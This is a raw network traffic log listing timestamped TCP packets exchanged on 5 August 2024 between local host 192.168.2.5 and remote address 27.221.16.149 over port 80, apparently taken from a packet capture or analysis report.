Aug 5, 2024 11:59:23.926368952 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207320929 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207335949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207356930 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207366943 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207379103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207395077 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207408905 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207432985 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207482100 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207603931 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207650900 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207662106 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207686901 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207703114 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207714081 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207716942 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207726955 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207762003 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207798958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207809925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207819939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207829952 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207839012 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207840919 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207851887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207864046 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207886934 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207900047 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207911968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207921982 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207938910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.207938910 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.207961082 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208084106 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208095074 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208105087 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208116055 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208122969 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208127975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208139896 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208147049 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208149910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208161116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208169937 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208170891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208183050 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208199024 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208199024 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208234072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208244085 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208245993 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208256006 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208266020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208292007 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208293915 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208303928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208314896 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208317041 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208327055 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208338022 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208348036 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208349943 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208375931 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208395004 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208659887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208671093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208682060 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208702087 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208712101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208723068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208731890 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208734989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208755970 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208781958 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208874941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208887100 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208895922 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208908081 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208919048 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208928108 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208929062 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208930016 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208944082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208956957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208971024 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208971024 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.208981037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.208993912 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209007978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209031105 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209045887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209055901 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209065914 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209068060 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209084988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209095001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209105968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209112883 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209119081 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209131956 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209137917 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209137917 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209144115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209156990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209167004 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209180117 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209191084 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209197998 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209202051 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209213018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209222078 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209222078 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209230900 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209245920 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209244013 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209270954 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209274054 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209285975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209296942 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209306955 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209316969 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209316969 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209328890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209340096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209341049 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209351063 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209362030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209363937 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209372997 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209383965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209386110 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209397078 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209407091 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209410906 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209422112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209422112 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209434032 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209450006 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209471941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209479094 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209484100 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209495068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209507942 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.209528923 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.209547043 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.210114956 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210127115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210135937 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210148096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210160017 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210170031 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210180998 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.210181952 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210192919 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210206985 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210207939 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.210218906 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.210230112 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.210230112 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.210268021 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.212348938 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.212443113 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.294369936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294384003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294394016 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294404984 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294462919 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.294507980 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.294522047 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294564009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294574022 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294584990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294594049 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.294598103 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.294620991 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.348225117 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510219097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510247946 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510260105 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510271072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510283947 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510310888 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510333061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510345936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510360003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510376930 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510376930 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510416985 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510422945 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510437965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510447979 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510457993 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510469913 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510493994 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510549068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510560989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510571003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510581970 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510586023 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510593891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510607958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510608912 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510634899 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510643959 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510656118 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510665894 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510677099 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510699034 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510734081 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510746956 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510757923 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510766983 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510777950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510790110 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510793924 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510802031 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510814905 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510822058 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510843039 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510850906 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510860920 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510869026 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510910988 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.510955095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510967016 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510977030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.510993958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511007071 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511006117 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511018038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511032104 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511038065 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511043072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511063099 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511080980 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511081934 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511095047 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511152983 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511168957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511179924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511189938 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511202097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511219978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511236906 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511253119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511264086 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511271954 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511291027 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511301994 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511313915 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511327982 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511357069 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511387110 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511399984 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511411905 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511424065 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511434078 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511451960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511461973 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511465073 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511476994 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511486053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511507034 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511548042 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511559963 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511569977 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511590958 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511617899 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511631966 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511643887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511655092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511663914 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511677027 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511697054 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511725903 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511785030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511801958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511811972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511821985 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511832952 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511841059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511843920 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511856079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511866093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511872053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511872053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511885881 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511897087 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511897087 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511909008 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.511929035 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.511957884 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512095928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512106895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512118101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512136936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512147903 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512149096 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512166977 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512173891 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512185097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512214899 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512371063 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512382030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512391090 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512401104 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512413025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512423038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512424946 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512434006 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512447119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512449026 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512465954 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512501001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512501001 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512514114 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512525082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512535095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512540102 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512546062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512557983 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512566090 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512569904 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512583017 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512589931 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512595892 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512607098 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512615919 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512630939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512650967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512651920 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512661934 CEST	80	49734	27.221.16.149	192.168.2.5
